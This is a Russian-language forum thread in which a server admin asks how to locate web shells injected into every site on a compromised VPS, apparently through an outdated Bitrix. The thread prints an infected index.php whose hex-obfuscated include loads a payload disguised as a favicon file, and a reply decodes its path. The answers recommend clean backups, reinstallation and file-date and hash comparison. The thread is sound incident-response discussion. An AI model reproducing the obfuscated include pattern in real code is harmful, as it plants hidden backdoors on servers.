Как автоматически убрать шелы из всех папок?

Question

[MaKS_Ibl4]

Здравствуйте. Так получилось, что при настройки vps все домены повесили на одного пользователя.
Взломав (я полагаю Bitrix потому что его 100 лет не обновляли), залили шел и прошлись по всем доменам.
Суть вопроса в том, есть ли средство для того что бы пройтись по всем директориям и хотя бы собрать список файлов в которых шел?

Comments

[Дмитрий]

есть ли средство для того что бы пройтись по всем директориям и хотя бы собрать список файлов в которых шел?

а как определить что в файле шелл?

[MaKS_Ibl4]

Дмитрий, по содержимому, ибо я уверен на 100% что в тех сайтах что там лежат нет ничего родного из разряда \x47\x4c\x4fB\x41\x4c\x53 и т.п.

[MaKS_Ibl4]

Вот пример index.php:

<?php
/*28f5d*/

@include "\x2fva\x72/w\x77w/\x61le\x62a/\x64at\x61/w\x77w/\x61cq\x75ir\x69ng\x2eda\x73re\x64a.\x72u/\x63ss\x2ffa\x76ic\x6fn_\x31e7\x63ed\x2eic\x6f";

/*28f5d*/


echo file_get_contents('index.html.bak.bak');

[Борис Сёмов]

MaKS_Ibl4, Тогда и задача проще - такую и обычным поиском можно решить. Вот только решение этой задачи, только маленький частный случай задачи "Как автоматически убрать шелы из всех папок" решения которой не существует вовсе.

Answer 1

[Дмитрий]

Скомпрометированную систему лучше или восстановить из бекапа (который заведомо не скомпрометирован), или переустановить с нуля и восстановить только данные.

Answer 2

[synapse_people]

поддерживаю Tabletko, шеллы могли зашить в другие пхп файлы

Comments

[MaKS_Ibl4]

Полазив я понял, что скорее шли каким то скриптом, заражали index.php

<?php
/*28f5d*/

@include "\x2fva\x72/w\x77w/\x61le\x62a/\x64at\x61/w\x77w/\x61cq\x75ir\x69ng\x2eda\x73re\x64a.\x72u/\x63ss\x2ffa\x76ic\x6fn_\x31e7\x63ed\x2eic\x6f";

/*28f5d*/


echo file_get_contents('index.html.bak.bak');

и в некоторые папки закидали файлы типа: cache84.php и т.п.

[synapse_people]

MaKS_Ibl4, /var/www/aleba/data/www/acquiring.dasreda.ru/css/favicon_1e7ced.ico

[synapse_people]

MaKS_Ibl4, мой совет, все файлы выведи по дате изменения (новые файлы), пересечением с данными последнего бекапа
Получишь список новых файлов на сервере, а дальше руками каждый файл смотри.
Ясно, что еще можно почитать хэш каждого файла на сервере и сравнить с бэкапами